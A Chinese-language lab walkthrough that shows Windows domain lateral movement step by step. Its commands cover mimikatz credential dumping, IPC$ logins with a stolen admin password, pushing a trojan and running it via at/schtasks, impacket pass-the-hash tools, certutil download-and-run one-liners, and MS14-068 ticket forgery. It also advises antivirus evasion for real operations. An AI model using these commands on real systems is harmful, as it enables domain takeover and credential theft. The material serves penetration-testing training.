文章目录
- 前言
- 靶场环境配置
- 一.内网横向移动
-
- [1.1 首先拿到webshell](#1.1 首先拿到webshell)
- [1.2 做信息收集](#1.2 做信息收集)
- [1.3 ping当前域名](#1.3 ping当前域名)
- [1.4 收集域内用户信息](#1.4 收集域内用户信息)
- [1.5 扫描端口信息](#1.5 扫描端口信息)
- [1.6 收集内网凭据信息(各种密码)](#1.6 收集内网凭据信息(各种密码))
- [1.7 横向移动](#1.7 横向移动)
- [1.8 正向连接操作步骤:](#1.8 正向连接操作步骤:)
-
- [1.8.1 CS创建正向连接监听器](#1.8.1 CS创建正向连接监听器)
- [1.8.2 利用此监听器生成木马,保存到本地桌面](#1.8.2 利用此监听器生成木马,保存到本地桌面)
- [1.8.3 建立IPC连接(两种方法任选)](#1.8.3 建立IPC连接(两种方法任选))
-
- [1.8.3.1 方法一:输入命令建立连接](#1.8.3.1 方法一:输入命令建立连接)
- [1.8.3.2 方法二:利用插件建立连接](#1.8.3.2 方法二:利用插件建立连接)
- [1.8.4 上传木马到webserver](#1.8.4 上传木马到webserver)
- [1.8.5 上传木马到dc域控](#1.8.5 上传木马到dc域控)
- [1.8.6 执行木马](#1.8.6 执行木马)
- [1.8.7 连接木马](#1.8.7 连接木马)
- [1.9 反向连接操作步骤:(步骤没问题,最后没有上线成功)](#1.9 反向连接操作步骤:(步骤没问题,最后没有上线成功))
-
- [1.9.1 cs 转发上线](#1.9.1 cs 转发上线)
- [1.9.2 cs生成木马](#1.9.2 cs生成木马)
- [1.9.3 cs上传木马](#1.9.3 cs上传木马)
- [1.9.4 上传木马到域控](#1.9.4 上传木马到域控)
- [1.9.5 执行木马](#1.9.5 执行木马)
- [1.9.6 上线](#1.9.6 上线)
- [二、各种套件的利用:"impacket" 实现内网横向移动](#二、各种套件的利用:“impacket” 实现内网横向移动)
-
- 使用方法:
-
- [2.1 上传exe文件](#2.1 上传exe文件)
- [2.2 调用脚本(可能一次不成功要多执行几次)](#2.2 调用脚本(可能一次不成功要多执行几次))
- [2.3 将本地的木马下载到目标机器](#2.3 将本地的木马下载到目标机器)
- [2.4 执行脚本,上线!](#2.4 执行脚本,上线!)
- 三、代理转发实现内网横向移动
-
- [3.1 开启SOCKS代理](#3.1 开启SOCKS代理)
- [3.2 本地代理服务配置](#3.2 本地代理服务配置)
- [3.3 检查物理机是否能访问内网](#3.3 检查物理机是否能访问内网)
- [3.4 本地cmd执行命令](#3.4 本地cmd执行命令)
- [3.5 使用py脚本横向移动](#3.5 使用py脚本横向移动)
- [3.6 cs上线mary(步骤没问题没成功)](#3.6 cs上线mary(步骤没问题没成功))
- 四、移动到win7
-
- [4.1 在"目标"栏,鼠标右键选择"Jump"实现横向移动](#4.1 在“目标”栏,鼠标右键选择“Jump”实现横向移动)
- [4.2 利用收集到的用户凭据信息,直接实现横向移动。(没成功)](#4.2 利用收集到的用户凭据信息,直接实现横向移动。(没成功))
- 五、使用Impackt套件工具(无明文密码时利用)
-
- [5.1 CS对当前受控机器提权,进行信息收集](#5.1 CS对当前受控机器提权,进行信息收集)
- [5.2 CS进行代理转发,本地使用代理工具配置代理](#5.2 CS进行代理转发,本地使用代理工具配置代理)
- [5.3 打开工具包中的"examples"文件](#5.3 打开工具包中的“examples”文件)
-
- [5.3.1 psexec.py](#5.3.1 psexec.py)
-
- [5.3.1.1 上传木马](#5.3.1.1 上传木马)
- [5.3.1.2 下载木马](#5.3.1.2 下载木马)
- [5.3.2 smbexec.py](#5.3.2 smbexec.py)
-
- [5.3.2.1 使用命令连接内网的Windows7主机](#5.3.2.1 使用命令连接内网的Windows7主机)
- [5.3.2.2 上线cs](#5.3.2.2 上线cs)
- [5.3.3 wmiexe.py](#5.3.3 wmiexe.py)
-
- [5.3.3.1 使用命令连接内网的Windows7主机](#5.3.3.1 使用命令连接内网的Windows7主机)
- [5.3.3.2 上线cs](#5.3.3.2 上线cs)
- 六、PTT票据传递
-
- [6.1 利用ms14-068漏洞生成票据(利用明文密码生成,直接攻击域控)](#6.1 利用ms14-068漏洞生成票据(利用明文密码生成,直接攻击域控))
-
- [6.1.1 上线webshell](#6.1.1 上线webshell)
- [6.1.2 查看用户SID](#6.1.2 查看用户SID)
- [6.1.3 生成票据](#6.1.3 生成票据)
前言
横向移动是从一个受控的主机迁移到另一个主机的过程。进入内部网络之后,常常利用被攻陷的主机作为跳板,继续访问或控制内网中的其他机器,直至获取机密数据或者控制关键资产。
横向移动包括用来进入内部网络和控制网络上的远程系统的技术。通常需要借助内网代理来探测内网中存活的资产,并确定最终的攻击目标,然后通过收集到的用户凭据,利用各种远程控制技术对目标发起攻击。
靶场环境配置

网络结构解读:webserver是唯一对外服务的主机,整个域内环境中只有他能够访问外网,其他主机全部无法访问外网,只能实现域内通信,同时域内的所有机器都受到域控(DC)的管理。
目的:我们通过web渗透拿到了webserver主机的控制权,想要进一步对域内其他主机做横向渗透或者拿下整个域控的权限。
因为是演示内网渗透,所以默认我们已经拿到了webserver的权限,所有的上传脚本或者工具的操作都只会在webserver上面。其余主机不会有任何的操作。
一.内网横向移动
1.1 首先拿到webshell
首先拿到webshell之后,利用webshell上传CS生成的木马,调用webserver主机运行木马并上线

1.2 做信息收集
上线之后,第一件事情:做信息收集
进入beacon,输入命令判断是否为域环境:shell net time /domain
#这条命令在没有域环境的主机上执行时,会显示没有域环境。因此可以使用此命令判断目标当前是否处于域环 境
#如果当前用户不是域主机,可在CS中执行"spawn as"以其他用户上线(提权之后可切换用户)

1.3 ping当前域名
得到当前域环境之后,使用ping命令去ping当前的域名,即可得到当前域控的ip地址:
shell ping OWA2010CN-God.god.org -4

1.4 收集域内用户信息
执行命令收集域内用户信息:
shell net user /domain

1.5 扫描端口信息
使用CS插件收集域内网络、端口信息
#收集的结果会显示在"视图"的"目标"栏目
对已经扫描出来的内网主机进行备注方便后续操作
1.6 收集内网凭据信息(各种密码)
收集内网凭据信息(各种密码)

#抓取密码的操作需要提升权限。
使用插件提权(很多的插件都有权限提升的功能,可多次尝试) 提权成功之后,会多出一条system权限的会话。
也可以试试其他提权漏洞或者插件
执行成功后多出来一条system会话

提权之后再获取密码和哈希值 可在"凭据信息"中看到在当前主机上登录过的账号密码和哈希值。
#内网域环境,每当域内其他账号登录在这台电脑的时候,登录过程中账号和密码信息会有域环境的验证过程, 这个验证过程会将账号密码保存在当前电脑的运行内存中,这时可以使用mimikatz插件抓取内存中的账号密 码。
提权成功后抓取hash

抓取明文密码

查看抓取到的密码


要想抓到域控的密码必须要域控曾经在这台机器上登录过

UAC 的凭据仅用于本次权限提升的验证,验证完成后不会被保留在 LSASS 的可被 mimikatz 读取的内存缓存中,因此
mimikatz 无法捕获到这个临时输入的密码。

用户正常登录系统的凭据、或已被 Windows 长期缓存到 LSASS 进程内存中的凭据(比如用户登录系统时输入的密码,会被 LSASS缓存以支持后续的资源访问)。这类凭据会被持久化存储在 LSASS 的内存空间中,因此 mimikatz 可以读取到这些缓存的凭据数据。
然后再抓取密码

获取到域控的账号密码
Administrator:Admin12345
1.7 横向移动
抓取到账号密码信息之后,接下来开始横向移动
思路:在CS中,目前上线的只有10.0.0.0/24网段的主机,但是在端口扫描中我们能够发现该主机还存
在192.168.3.0/24网段。说明只有10.0.0.0/24这个网段能够出网,192.168.3.0/24网段不能出网判断它属于内网环境 由于我们的目标是内网环境下192.168.3.0/24网段的主机,所以可以通过CS的ipc命令来实现横向移动,在这个过程中会有正向连接和反向连接的过程。
1.8 正向连接操作步骤:
1.8.1 CS创建正向连接监听器

1.8.2 利用此监听器生成木马,保存到本地桌面
#实战过程中木马要做免杀
1.8.3 建立IPC连接(两种方法任选)
#ipc:中文翻译为进程间通信。它是指在操作系统中,不同进程之间进行数据交换和协同工作的一种技术。 ipc可以通过共享内存、管道、套接字等多种方式实现进程间的通信。
#利用ipc技术建立网络共享连接之后,可以访问远程主机上的资源:如查看远程主机目录、复制文件、读取远 程主机上的文件、在远程主机上创建计划任务或系统服务等等,实战中通常会利用此方法。
IPC连接:https://blog.csdn.net/flyingleo1981/article/details/18763229
1.8.3.1 方法一:输入命令建立连接
shell net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator
#命令注释:使用CS调动ipc的方式输入账号密码和目标机器建立连接(账号密码在信息收集凭据信息时可以获取)
利用system权限会话进入命令行执行命令建立连接


1.8.3.2 方法二:利用插件建立连接
选择插件中的横向移动模块,选择与指定主机建立IPC连接,输入目标主机的IP地址,账号密码(前面信息收集可得到)
1.8.4 上传木马到webserver
CS利用提权过的system会话,选择文件管理将生成的4444.exe木马上传到当前主机上


1.8.5 上传木马到dc域控
shell copy 4444.exe \192.168.3.21\c$
#利用IPC建立的连接,使用copy命令将当前受控机的木马复制到目标主机的c盘下

查看目标机器可以看到上传成功了

1.8.6 执行木马
查看当前时间,然后使用at命令创建计划任务运行4444.exe木马
查看当前时间:
shell net time
使用at命令创建计划任务:(时间需要根据实际情况去设置)
shell at \\192.168.3.21 19:49 c:\4444.exe

根据时间设置定时任务执行木马

针对Windows2012版本之前的操作系统可以使用at命令;
针对Windows2012及以后版本的操作系统使用schtasks命令
schtasks /create /s 192.168.3.21 /ru "SYSTEM" /tn beacon /sc DAILY /tr
c:\4444.exe /F
原理和at命令是一样的。
1.8.7 连接木马
等设置的时间到了之后,执行命令正向连接我们上传的木马,成功上线!实现横向移动
连接192.168.3.21的4444端口:
connect 192.168.3.21 4444
新增上线一条cs会话,成功实现横向移动

1.9 反向连接操作步骤:(步骤没问题,最后没有上线成功)
1.9.1 cs 转发上线
CS中在提权的会话中,选择"代理转发"、"转发上线"模块(这一步也可以叫做新增监听器)


1.9.2 cs生成木马
使用CS生成木马,上传到目标主机(监听器选择刚刚设置的当前主机)
生成木马为5555.exe(名字自定义)

1.9.3 cs上传木马
CS利用提权过的system会话,选择文件管理将生成的5555.exe木马上传到当前主机上

1.9.4 上传木马到域控
此时建立IPC连接的过程和之前一样,
看到又之前连的
shell net use

删掉重新连
shell net use \\192.168.3.21\ipc$ /delete

shell net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator

CS中使用命令将上传的5555.exe木马复制到目标机器
shell copy 5555.exe \\192.168.3.21\c$

1.9.5 执行木马
查看当前时间,然后设置任务执行5555.exe木马
shell net time
shell at \\192.168.3.21 13:57 c:\5555.exe
#首先查看当前服务器时间,然后根据当前服务器时间使用at命令设置木马到一个时间点之后自动运行

1.9.6 上线
等待设置的时间到了之后木马自动运行,CS成功上线!实现横向移动
二、各种套件的利用:"impacket" 实现内网横向移动
相关介绍:https://blog.csdn.net/qq_18811919/article/details/129152861
impacket是一系列网络协议,包括IP、TCP、ICMP等基础的网络协议,更重要的是其实现了大量的
Windows通信协议,是一个常用的"域渗透工具包"。工具包的原始代码都是用python写的脚本,在实战中需要 依赖于python的环境。所以有局限性,因此全部打包成了exe可执行文件。

使用方法:
2.1 上传exe文件
将这些exe可执行文件,上传到被控机器("atexec.exe"为例)

2.2 调用脚本(可能一次不成功要多执行几次)
CS调用终端命令行,利用上传的脚本执行连接命令
shell atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
#利用收集到的账号密码信息,调用上传的atexec.exe脚本连接指定的主机(IP地址)并在引号内输入想要执
行的命令

除了账号密码,还支持hash值连接:
shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/Administrator@192.168.3.21 "whoami"
#利用收集到的hash值来进行连接和执行命令

和利用巴西烤肉的提权脚本有些类似,都是上传工具然后调用并且在双引号中执行想要的操作
2.3 将本地的木马下载到目标机器
利用工具去执行下载命令,将本地的木马下载到目标机器
下载之前要先将木马通过CS上传到被控主机的网站根目录
执行下载命令将木马下载到本地:(因为目标机器无法联网,只能构造本地下载地址)
shell atexec.exe god/administrator:Admin12345@192.168.3.21 "certutil.exe -urlcache -split -f http://192.168.3.31:80/5555.exe fan.exe"

2.4 执行脚本,上线!
shell atexec.exe god/administrator:Admin12345@192.168.3.21 "fan.exe"

执行成功了,但是也没有上线成功
上传工具的用法其实在实战中用处不大,因为需要上传文件,而且文件也不小容易被发现,那有没有更好的办法呢?
可以使用代理转发,直接开启SOCKS代理转发功能,不需要上传各种工具,就可以在
本地执行这些exe程序进行攻击!来试一试~
三、代理转发实现内网横向移动
3.1 开启SOCKS代理


3.2 本地代理服务配置


地址是cs服务器地址
3.3 检查物理机是否能访问内网

3.4 本地cmd执行命令
atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"

3.5 使用py脚本横向移动
在物理机上使用psexec.py横向移动到mary
python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 -codec gbk god/Administrator@192.168.3.25

3.6 cs上线mary(步骤没问题没成功)
上面的是在物理机控制台显示,看起来不太方便,接下来让mary上线cs
certutil.exe -urlcache -split -f http://192.168.3.31:80/5555.exe 5555.exe&5555.exe
四、移动到win7
移动到Windows7主机更简单直接:
4.1 在"目标"栏,鼠标右键选择"Jump"实现横向移动

4.2 利用收集到的用户凭据信息,直接实现横向移动。(没成功)

利用收集到的用户凭证信息,实现横向移动
Windows7主机上线之后,再次执行mimikatz收集更多的用户凭据。收集完之后,再次使用这些凭据实现更多的横向移动!
五、使用Impackt套件工具(无明文密码时利用)
Impacket 工具包是红队人员内网横向使用频率最多的工具包之一,而Impacket 是一个标准 Python 类库,用于对 SMB1-3 或 IPv4 / IPv6 上的 TCP、UDP、ICMP、IGMP,ARP,IPv4,IPv6,SMB, MSRPC,NTLM,Kerberos,WMI,LDAP 等协议进行低级编程访问。可以独立安装,也可以直接打开命令行调用python去使用。
使用环境:使用工具包时出现以下报错表示缺少python模块
安装模块命令:pip install impacket

环境配置成功之后使用步骤:
5.1 CS对当前受控机器提权,进行信息收集
端口扫描,凭据信息等等
5.2 CS进行代理转发,本地使用代理工具配置代理


5.3 打开工具包中的"examples"文件

examples文件中都是一些py类型的工具,需要依赖于python运行。接下来我们演示三种类型的
5.3.1 psexec.py
shell chcp #获取对应编码
执行后会返回编码代码(例如:936对应GBK,65001对应UTF-8,437对应英文系统编码)。
python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 -codec gbk god/Administrator@192.168.3.21
#运行python调用psexec.py,利用信息收集的hash值可直接连接到目标机器的cmd命令行。
接下来将取得的cmd权限转移到CS上面,使其上线!
5.3.1.1 上传木马
利用CS的文件管理功能上传生成的木马到webserver主机的网站目录下

5.3.1.2 下载木马
输入命令将上传的木马下载到Windows7机器并运行(命令可以在线生成)
命令生成网址:https://forum.ywhack.com/bountytips.php?download

certutil.exe -urlcache -split -f http://192.168.3.31:80/5555.exe 5555.exe&5555.exe

5.3.2 smbexec.py
5.3.2.1 使用命令连接内网的Windows7主机
python smbexec.py -hashes :ccef208c6485269c20db2cad21734fe7 -codec gbk god/Administrator@192.168.3.21
#命令运行之后等待几秒会返回一个命令行,此时是mary的主机

5.3.2.2 上线cs
上线CS的过程和上述方法一样(将木马上传到webserver主机,然后下载运行)
5.3.3 wmiexe.py
5.3.3.1 使用命令连接内网的Windows7主机
本机cmd运行命令,会回弹一个CMD命令行
python wmiexec.py -hashes :ccef208c6485269c20db2cad21734fe7 -codec gbk god/Administrator@192.168.3.21

5.3.3.2 上线cs
CS上线步骤同上,不重复演示。
六、PTT票据传递
票据传递(Pass the Ticket,PTT),使用Kerberos票据进行内网横向,不需要管理员权限。当在域环境下的一些通信协议不能够正常利用时。也就是前面学习的方式都无法利用,可以尝试利用收集到的凭据信息生成票据去拿到域控权限。
网络认证协议Kerberos(相当于web中的cookie或session,属于用户凭据)Kerberos是一个网络认证协议,用于验证用户和服务之间的身份,解决分布式计算环境中的身份验证问题。它使用加密技术来提供安全的身份验证,并防止网络中的身份欺骗攻击。Kerberos协议使用了票据交换的方式,其中包括客户端、认证服务器(AS)和票据授予服务器(TGS)。
Kerberos协议的优势在于提供了安全的身份验证机制,防止了网络中的身份欺骗攻击。它使用加密技术、共享密钥和票据交换等方法,确保只有经过身份验证的用户才能访问受保护的服务。Kerberos广泛应用于企业网络环境中,特别是在Windows域环境中,用于实现单点登录和统一身份验证 内网域中基本概念: KDC(Key Distribution Center)= 密钥分发中心 AS(Authentication Service)= 认证用户的身份,并为其发放TGT的服务
TGT(Ticket Granting Ticket)= TGT认证票据,由AS服务发放,存储在内存,默认有效期为10小时TGS(Ticket Granting Service)= 票据发放服务 ST(Service Tickets)=ST服务票据,由TGS服务发送 AP(Application Server)= 提供用户所需的服务 黄金票据(Golden Ticket)= 使用域账号krbtgt的NTLM Hash进行加密 白银票据 (Silver Ticket)= 使用服务账户的NTLM Hash进行加密
票据攻击的原理及利用:https://blog.csdn.net/weixin_54902210/article/details/128240484
6.1 利用ms14-068漏洞生成票据(利用明文密码生成,直接攻击域控)
原理:MS14-068是密钥分发中心(KDC)服务中的Windows漏洞,它允许经过身份验证的用户在票据(TGT)中插入任意PAC(代理配置)攻击者可以通过构造特定的请求包来达到提升权限的目的,相当于web中 的cookie伪造。
6.1.1 上线webshell
CS拿到webserver主机之后,执行命令,查看当前用户的SID值。
6.1.2 查看用户SID
shell whoami/user
#查看当前用户的SID值

6.1.3 生成票据
利用工具包中MS14-068.exe生成票据。进入CMD命令行,调用MS14-068.exe伪造票据。
MS14-068.exe -u webadmin@god.org -s S-1-5-18 -d 192.168.3.21 -p admin!@#45
-u 指定用户名
-s 指定SID值
-d 指定IP地址
-p 指定密码
#以上信息都可通过信息收集获取。







